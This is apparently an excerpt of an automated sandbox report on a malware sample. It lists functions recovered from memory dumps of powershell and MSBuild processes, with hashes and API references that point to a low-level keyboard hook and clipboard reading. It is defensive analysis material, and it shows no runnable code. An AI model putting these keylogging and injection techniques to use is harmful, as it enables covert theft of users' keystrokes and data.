Function 04AE8640 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1602071727.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebfc32e93e563c12cf65f9ff480a4e9567550236f2bac2d73fa87ca0834b50d4
Instruction ID: 06925840cd2ff953dd383fc37d1df7f5451e098e616911d484a7a986fff510b6
Opcode Fuzzy Hash: ebfc32e93e563c12cf65f9ff480a4e9567550236f2bac2d73fa87ca0834b50d4
Instruction Fuzzy Hash: C3312874A006099FCB14DF4AC584AAEFBB1FF88310B248698E519A7751D735FC91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04AE39B7 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1602071727.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24eb67c33c1190cc21af49454a148d69a5b92936426dccd31876f2a324554f18
Instruction ID: e7dda6f80f9acc4d4bc3a7c8335121bd82e741d1d8ce39d8f0edf493ade4ecbc
Opcode Fuzzy Hash: 24eb67c33c1190cc21af49454a148d69a5b92936426dccd31876f2a324554f18
Instruction Fuzzy Hash: C721E674A0060A9FCB04CF49C880AAAF7F1FF88310B658569E919E7751D735FC91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04AE6640 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1602071727.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92f4254e8d0a8468e83655704cc5975d124266e8f04bbec149b1cd2a21ca8549
Instruction ID: a124d343ce8a111c794746103870e5a77936ea74eab204c2c19c310b163cb6b7
Opcode Fuzzy Hash: 92f4254e8d0a8468e83655704cc5975d124266e8f04bbec149b1cd2a21ca8549
Instruction Fuzzy Hash: C41107B5A00219DFDB04DF99C880AAEBBB5FF89310F148569E919AB351C735FC41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04AE95C1 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1602071727.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5cb9b5c9b4bce152f431f23bcd052288d5f31a7b643b1b9314b400b934e2f7
Instruction ID: 73ac7b8e7b1425ffef3e56ff657c2dc44de4e0c71cca3e8ac1b111d917d609f2
Opcode Fuzzy Hash: 4b5cb9b5c9b4bce152f431f23bcd052288d5f31a7b643b1b9314b400b934e2f7
Instruction Fuzzy Hash: FF1126719007498BDB14DFAAD444BEEBBF5AF88720F14841AD415A7250CB79A544CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 04AEA4D0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1602071727.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e351ed01a1bab1591ca9cd7b167c390ba48c31073eb90774df9cfc1d41e3825
Instruction ID: 65ecbb252f4cf1c76271ddbd79af327db3252b1accdb302ceed9887c085fa319
Opcode Fuzzy Hash: 7e351ed01a1bab1591ca9cd7b167c390ba48c31073eb90774df9cfc1d41e3825
Instruction Fuzzy Hash: 3111F934A00209EFDF05CF98D884E9DBBB2BF88314F288444E414AB761C775E981DB80

Uniqueness

Uniqueness Score: -1.00%

Function 04AE95C8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1602071727.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9615576a6249e49a38c67a3a339dccadb5b51519331618cb4be6f6a934436ba
Instruction ID: e961488e6652aa3c6272871b0f15de3eb0aa951f7572456e379898048ebc8edc
Opcode Fuzzy Hash: e9615576a6249e49a38c67a3a339dccadb5b51519331618cb4be6f6a934436ba
Instruction Fuzzy Hash: A11116719007488BDB10DFAAD844BEFFBF9EF88720F14841AD419A7250CB79A544CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 04AEAEA8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1602071727.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed6d92905a3f2f8bb1b6493ecaf1abd2489722cffb81268341593b656a026c27
Instruction ID: ea021e735d652cabf8775ad032488044b568eac90170c006968e61ef7acf3327
Opcode Fuzzy Hash: ed6d92905a3f2f8bb1b6493ecaf1abd2489722cffb81268341593b656a026c27
Instruction Fuzzy Hash: 3B11BA75A00219EFDF05DF94D884EADBBB2BF88314F188555E414AB261C775E982CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04AE9410 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1602071727.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063e55894ad2996afd0464647a4337c90aedad6ffee08d82ec9985ac9416c708
Instruction ID: 152d507d24b26f0da66b9368670ded95a71867a2edf6e63402ec533d2c242855
Opcode Fuzzy Hash: 063e55894ad2996afd0464647a4337c90aedad6ffee08d82ec9985ac9416c708
Instruction Fuzzy Hash: 3311C974A00209AFDB05DF98D884EDDBBB6BF88314F288558E415AB361C771E982CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04AE85E4 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1602071727.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce92fbc010ca55da626bdca9f6ba56b5594f9b91576489161eeea5968dc955ae
Instruction ID: e49a28a0cf2a29fd2024ac3612a5de71a9ecd4e83486ebb880f24be2a3741eea
Opcode Fuzzy Hash: ce92fbc010ca55da626bdca9f6ba56b5594f9b91576489161eeea5968dc955ae
Instruction Fuzzy Hash: 8C11EF74A01209EFDB05DF94D884E9DBBF1BF88314F288559E415AB361C775E981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04AE49EC Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1602071727.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ae0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a663d0852f89f77668a8b1d2b5cc322c7529023bda8c27ea4ed07a86ec036461
Instruction ID: 81281464b36b5645c5735675ddec3b570333b586165f6704de84875724c6f5bc
Opcode Fuzzy Hash: a663d0852f89f77668a8b1d2b5cc322c7529023bda8c27ea4ed07a86ec036461
Instruction Fuzzy Hash: E911EC74A00219EFDB05CF94D884EADBBF6BF88314F288555E514AB365C775E981CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00F5D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1601666913.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f5d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12da4440bbacfa1f3d2ac122484824c0d5c4ced93f37c9a15bf8949809c8c2ae
Instruction ID: 6938870c75122be03a2f6633f9feb3e3c200f699764f00d1cab196f033108c7a
Opcode Fuzzy Hash: 12da4440bbacfa1f3d2ac122484824c0d5c4ced93f37c9a15bf8949809c8c2ae
Instruction Fuzzy Hash: DA012B724067409FE7304A15CC84B67BBD8EF81731F18C019DE084B2C6C3789849DAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00F5D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1601666913.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f5d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b2ddd7a4e865d7c99fca67a170f15c693a219fbfa8a9548d713977f83749cdf
Instruction ID: 9aaeb11b3fd16a5dbbf70685a1a3591956332718fb09563ae27562b3bfbfda30
Opcode Fuzzy Hash: 8b2ddd7a4e865d7c99fca67a170f15c693a219fbfa8a9548d713977f83749cdf
Instruction Fuzzy Hash: 32F0F072805344AFE7208E16CC84B63FFE8EB41735F18C05AEE484F286C279AC45CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F5D6E4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1601666913.0000000000F5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f5d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f4a4ded7af922819eff733940167de0b02284ac05adcefd790733a5868dd3e6
Instruction ID: 71048fb2ef290425d43f1b29d68b53ae98ec99f09eefe0983838d4d6f1db225c
Opcode Fuzzy Hash: 9f4a4ded7af922819eff733940167de0b02284ac05adcefd790733a5868dd3e6
Instruction Fuzzy Hash: 8A2133B2901300DFDB24DF10E9C0F16BF65FB98325F20C568DE094B206C336D85AEAA2

Uniqueness

Uniqueness Score: -1.00%

Function 075C3FC0 Relevance: 5.2, Strings: 4, Instructions: 192COMMON

Download Yara Rule

Strings

(fl, xrefs: 075C40C1
(fl, xrefs: 075C413F
(fl, xrefs: 075C40B7
(fl, xrefs: 075C4135

Memory Dump Source

Source File: 00000004.00000002.1605916173.00000000075C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_75c0000_powershell.jbxd

Similarity

API ID:
String ID: (fl$(fl$(fl$(fl
API String ID: 0-2123353879
Opcode ID: 3c0ad1106d99c6a02c2df9bbb5fb108cbc8040dec460c3314c34d9ae795ef0f5
Instruction ID: 355df223026de55bfeb126c1de3b13ba08aeb64df601082374ad6f6fa3c46c2f
Opcode Fuzzy Hash: 3c0ad1106d99c6a02c2df9bbb5fb108cbc8040dec460c3314c34d9ae795ef0f5
Instruction Fuzzy Hash: 337160B4A00245DFDB14DF98C961FAABBB2BF89310F24846AD8016F755DB72DC81CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: MSBuild.exePID: 7348, Parent PID: 7224COMMON

Execution Graph

Execution Coverage:	12.6%
Dynamic/Decrypted Code Coverage:	98.5%
Signature Coverage:	1.5%
Total number of Nodes:	205
Total number of Limit Nodes:	28

Executed Functions

Function 23232358 Relevance: 5.3, Strings: 3, Instructions: 1505COMMON

Download Yara Rule

Strings

T6{", xrefs: 23232396
p%{", xrefs: 23232BF0
T6{", xrefs: 23232C2D

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID: T6{"$T6{"$p%{"
API String ID: 0-895129875
Opcode ID: 7448454ddb560a368d49b2e1dc32a5cb040d16e2ee14cd782b1503f71434f404
Instruction ID: d7a1d8606c1b5d9e1cfe6230cb87580f06177f140325adbc515f9316e30b5272
Opcode Fuzzy Hash: 7448454ddb560a368d49b2e1dc32a5cb040d16e2ee14cd782b1503f71434f404
Instruction Fuzzy Hash: 0ED27A70A10315CFDB14EB68C994A9DB7B2FF8A310F54C5A9D409AB362DB35ED85CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0118A2C5 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 270
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TerminateThread.KERNEL32 ref: 0118A2CE

Strings

!$'+, xrefs: 0118A0DF

Memory Dump Source

Source File: 00000005.00000002.2588095660.0000000001130000.00000040.00000400.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1130000_MSBuild.jbxd

Similarity

API ID: TerminateThread
String ID: !$'+
API String ID: 1852365436-1895281246
Opcode ID: ce1170fe8fd34c51e907ca2c7eabf5b907fb7f31703edad3c69e2ab146599fce
Instruction ID: 8c3a1b456913f859aa7fb418372abbff497222fd391ad92c602967a21b8a323d
Opcode Fuzzy Hash: ce1170fe8fd34c51e907ca2c7eabf5b907fb7f31703edad3c69e2ab146599fce
Instruction Fuzzy Hash: 6981E2756013569FDB299D3C8CA13EA3BF3AF96294FA4822BCC91C7685D73184878B41

Uniqueness

Uniqueness Score: -1.00%

Function 232355A8 Relevance: 1.9, Strings: 1, Instructions: 603COMMON

Download Yara Rule

Strings

$, xrefs: 2323597B

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: f4f64c1a4d53340f250a263f34b0fae2e259a64e1cafa774f753bf659b9d2ee3
Instruction ID: 617be79a2aa7352e60d01abdcd8158b8a2b437221e351a9b3173ed2a51ad6a0f
Opcode Fuzzy Hash: f4f64c1a4d53340f250a263f34b0fae2e259a64e1cafa774f753bf659b9d2ee3
Instruction Fuzzy Hash: EC22C571E002198FDB10DBA4C89069EBBFAFF86310F2985A9D409EB345DB35DD85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 2322CB90 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(0000000D,00000000,?,?,?,?,?,?,?,?,?,2322D1F8,00000000,00000000), ref: 2322D40B

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 1d5f0fe8c634702f3cca32bb9dbe281ea2933a5ed502d840dfc9a96d1962af49
Instruction ID: 6b80e450585a96f57c0408f5166f88599757149799e4a81426a268a23c8c56a1
Opcode Fuzzy Hash: 1d5f0fe8c634702f3cca32bb9dbe281ea2933a5ed502d840dfc9a96d1962af49
Instruction Fuzzy Hash: E6212771D006099FDB14DFAAD844BEEFBF5EF88310F10842AE429A7250C774A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 2323C1B8 Relevance: .6, Instructions: 648COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89816946d80f619bfb36538dabbee2d012c1de93cf128ed053e94a5a08e7846c
Instruction ID: 74bc556ad1dc9f1ebb3377104580e9967abe019784b20cdc680e66eb6e4090f1
Opcode Fuzzy Hash: 89816946d80f619bfb36538dabbee2d012c1de93cf128ed053e94a5a08e7846c
Instruction Fuzzy Hash: CD32B170B002158FDB04EF68CC90B9EB7B6EB8A310F149965D505EB352DB39ED81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 2323B25B Relevance: .6, Instructions: 568COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6871d20d1d0a937a46ae9fe1ba1039f307d91c2388ce4f05683843602458b95a
Instruction ID: 8e4be7ae3b6510c9fdbde0ea436e8e7bddc8a92bbf35eb3fc4a8d915a44a4aa5
Opcode Fuzzy Hash: 6871d20d1d0a937a46ae9fe1ba1039f307d91c2388ce4f05683843602458b95a
Instruction Fuzzy Hash: 102262B0B0020A8FEB14EF59D894B9DB7B6EB86310F688565E405DB392DB38DDC1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 23235D00 Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 136b4bbfe333dc1417402ef2dbca834442f41617d2ecec19cf4c5a3f4e4e6652
Instruction ID: 554ebb347e99bdf004f5972e64eb108f42ef08da77f97ec6cad93189c3be2bb7
Opcode Fuzzy Hash: 136b4bbfe333dc1417402ef2dbca834442f41617d2ecec19cf4c5a3f4e4e6652
Instruction Fuzzy Hash: 5AE12B71B001158FDB04DB68C884A5EBBFEFF8A710F2585AAE54ADB352CA31DD81C790

Uniqueness

Uniqueness Score: -1.00%

Function 23236A38 Relevance: 3.0, Strings: 2, Instructions: 500
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p%{", xrefs: 23236C8A
T6{", xrefs: 23236ECC

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID: T6{"$p%{"
API String ID: 0-1447899720
Opcode ID: 5db935c3ed9b4ce93dc0a1b575ed2517acf71507acc4fd1b3bd3faa9f46e2b8c
Instruction ID: 0c84e28f010645758b5f14e2b9eb291595af04c0af74f0283eff549073a00cb5
Opcode Fuzzy Hash: 5db935c3ed9b4ce93dc0a1b575ed2517acf71507acc4fd1b3bd3faa9f46e2b8c
Instruction Fuzzy Hash: 6502CF74B00205CFDB14EB68C894B9DB7FAEF85310F1884A9E409AB391DB75ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 23234B80 Relevance: 2.7, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`>{", xrefs: 23234D5B
`>{", xrefs: 23234CD0

Memory Dump Source

Source File: 00000005.00000002.2633153076.0000000023230000.00000040.00000800.00020000.00000000.sdmp, Offset: 23230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23230000_MSBuild.jbxd

Similarity

API ID:
String ID: `>{"$`>{"
API String ID: 0-3055526701
Opcode ID: 4dbedbcb7e22a0ca502bf838532ef0da71a4d8290c087f634af1ced666d13a92
Instruction ID: 17340e884f40ba7d4be3ed9873b8dd99a79ac918a2c5aa1590bb0197877fc601
Opcode Fuzzy Hash: 4dbedbcb7e22a0ca502bf838532ef0da71a4d8290c087f634af1ced666d13a92
Instruction Fuzzy Hash: 3B619374F00208DFEB549BA4C854BAEBBF6EF89700F208569E509EB395DB754D41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04230368 Relevance: 2.6, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pn#, xrefs: 04230408
x#1#, xrefs: 04230381

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID: Pn#$x#1#
API String ID: 0-2444507616
Opcode ID: 71d329c170f79bf387bee4f300502a0156aa4a4a7d0336f70b77c704fee5e14a
Instruction ID: 7489b50c61a77b73a4e38afc44f591eff5601779778fbfcc67397e87eabea225
Opcode Fuzzy Hash: 71d329c170f79bf387bee4f300502a0156aa4a4a7d0336f70b77c704fee5e14a
Instruction Fuzzy Hash: 9211DC707113068FD3199F74D89066A77B6FB857047208A6DC15A9B291DF359D06CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04230378 Relevance: 2.6, Strings: 2, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pn#, xrefs: 04230408
x#1#, xrefs: 04230381

Memory Dump Source

Source File: 00000005.00000002.2590491529.0000000004230000.00000040.00000800.00020000.00000000.sdmp, Offset: 04230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4230000_MSBuild.jbxd

Similarity

API ID:
String ID: Pn#$x#1#
API String ID: 0-2444507616
Opcode ID: c66873613829d8d1f134b93f132fd012da590c76883a1d33514bbfa5f1a9af74
Instruction ID: 4090138de08239a38785b3d8f781a9a5467a13736d0b783922b068b61c85585f
Opcode Fuzzy Hash: c66873613829d8d1f134b93f132fd012da590c76883a1d33514bbfa5f1a9af74
Instruction Fuzzy Hash: AD11BF7031130ACFD318AF69D890A6AB7FAFB857547208A3CD11A9B384DF35AD05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ABED50 Relevance: 1.6, APIs: 1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2587147504.0000000000AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ab0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6574e8e204f3d752564ef17fcd99b563ae9654deb8704dcf250cb927d96a6ed0
Instruction ID: bae2098f791a105f0e77b62af5363c71b4353e8d7cf57e0ff1d7866e677f4833
Opcode Fuzzy Hash: 6574e8e204f3d752564ef17fcd99b563ae9654deb8704dcf250cb927d96a6ed0
Instruction Fuzzy Hash: 6B412572D143599FDB04DF79D8047DEBBF9AF89310F14856AD404A7241DBB89884CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 23225EAE Relevance: 1.6, APIs: 1, Instructions: 115COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 23225FCA

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 463eaf76c08bd8024b1998e4e8a76210f4874c52f1abe7380f8517517c3dad61
Instruction ID: da244c53bc239910b7c6ec41679e7e72432892fe896321a577b8f42fba19d676
Opcode Fuzzy Hash: 463eaf76c08bd8024b1998e4e8a76210f4874c52f1abe7380f8517517c3dad61
Instruction Fuzzy Hash: 4E51C2B1C107499FDB14CFAAC884ADEFFB5BF48310F24816AE819AB210D7759985CF94

Uniqueness

Uniqueness Score: -1.00%

Function 23225EB8 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 23225FCA

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: cd37e8350dd07cc1df8226a5deb2e4579033eac10208c454d13781d79e53159e
Instruction ID: 8480118fb245475f06175f95b4fda98d546619b3e518540568dab3a4e71ffb0c
Opcode Fuzzy Hash: cd37e8350dd07cc1df8226a5deb2e4579033eac10208c454d13781d79e53159e
Instruction Fuzzy Hash: DB41B2B1D107499FDB14DFAAC884ADEFFB5BF48310F24812AE819AB210D7749985CF94

Uniqueness

Uniqueness Score: -1.00%

Function 2322974C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 2322ABD1

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 6731244e590ed04767e3868466b688c3a04f04bcbdd5a3a12825532863cbfd72
Instruction ID: 15301e3c54315d4ac4077e3eeee745a9b50f08732709f879158790e7bfa4ad14
Opcode Fuzzy Hash: 6731244e590ed04767e3868466b688c3a04f04bcbdd5a3a12825532863cbfd72
Instruction Fuzzy Hash: BD413BB4910745CFDB04CF99C884A9ABBF6FB98314F24C499E519AB721D774A881CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 232299F4 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 2322B8E8

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 86d93e89389a321296be7fe418ed888435e27ce942e2c2c38864f3d170740e24
Instruction ID: c892e6b413100413bad320e679b9f2a319d752726b5de83f195f86240d8e0bae
Opcode Fuzzy Hash: 86d93e89389a321296be7fe418ed888435e27ce942e2c2c38864f3d170740e24
Instruction Fuzzy Hash: B33102B0D1164DDFDB10DFAAC984BCEBBF5EB48314F248059E408AB290D7B56885CF65

Uniqueness

Uniqueness Score: -1.00%

Function 2322B855 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 2322B8E8

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: a21a0d486a46e8cc394c28aecb41939ec27abbf8b92ace27c1bd8d4c8239cdb6
Instruction ID: 0ae40c7acb7301360ec07f8357ec12a3e6933ada426fe70fd8f55e50e9d1e2de
Opcode Fuzzy Hash: a21a0d486a46e8cc394c28aecb41939ec27abbf8b92ace27c1bd8d4c8239cdb6
Instruction Fuzzy Hash: DF3122B0D11609DFDB10DFAAD980BCDBBF1EB48314F248059E408AB290CB756985CF54

Uniqueness

Uniqueness Score: -1.00%

Function 23229C78 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 23229D07

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4d83ab2a86159d5d17ac9f3aff2045d4b743eb5965d0cd6d1bd2263dbc220b7d
Instruction ID: 6844b98d6032c77d3304ee2c0166e2298804b712d13f63a14d0a35338210f14f
Opcode Fuzzy Hash: 4d83ab2a86159d5d17ac9f3aff2045d4b743eb5965d0cd6d1bd2263dbc220b7d
Instruction Fuzzy Hash: B721E3B59106499FDB10CFAAD884AEEFFF5FB48310F24805AE918A3310C378A950CF64

Uniqueness

Uniqueness Score: -1.00%

Function 23229C80 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 23229D07

Memory Dump Source

Source File: 00000005.00000002.2632971791.0000000023220000.00000040.00000800.00020000.00000000.sdmp, Offset: 23220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_23220000_MSBuild.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
